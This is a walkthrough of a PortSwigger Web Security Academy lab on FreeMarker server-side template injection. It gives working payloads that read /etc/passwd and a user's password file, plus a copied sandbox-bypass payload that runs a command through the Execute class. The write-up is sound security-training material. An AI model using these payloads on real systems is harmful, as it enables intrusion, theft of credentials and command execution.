Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (FreeMarker, Sandbox Bypass)
Difficulty Expert
Objective Break out of the sandbox to read my_password.txt from Carlos's home directory, then submit its contents

Server-Side Template Injection in a Sandboxed Environment

Log in as content-manager:C0nt3ntM4n4g3r, go to a post, and modify the template. Messing with the placeholders triggers an error that identifies FreeMarker:

<p>Hurry! Only ${teto} left of ${product.name} at ${product.price}.</p>
Screenshot

Checking PayloadsAllTheThings for FreeMarker:

Freemarker - Read File

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Freemarker - Sandbox Bypass

⚠️ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

The lab's sandbox is meant to block the usual RCE-via-Execute route, but the file read primitive doesn't go through Execute at all — it walks the class loader's protection domain to get a file URL and reads bytes directly. Since reading the password file is the actual objective, that's worth trying as the bypass on its own.

Trying the file read against /etc/passwd first:

<p>Hurry! Only ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} left of ${product.name} at ${product.price}.</p>
Screenshot

/etc/passwd comes back as a list of decimal byte values — the sandbox isn't blocking this path. Targeting /home/carlos/my_password.txt, assuming the standard /home/carlos layout used across these labs:

<p>Hurry! Only ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} left of ${product.name} at ${product.price}.</p>
Screenshot

The output comes back as decimal byte values, not text. Decoding them to ASCII gives the password:

Screenshot

Submitting it solves the lab

Screenshot

o,o

Resources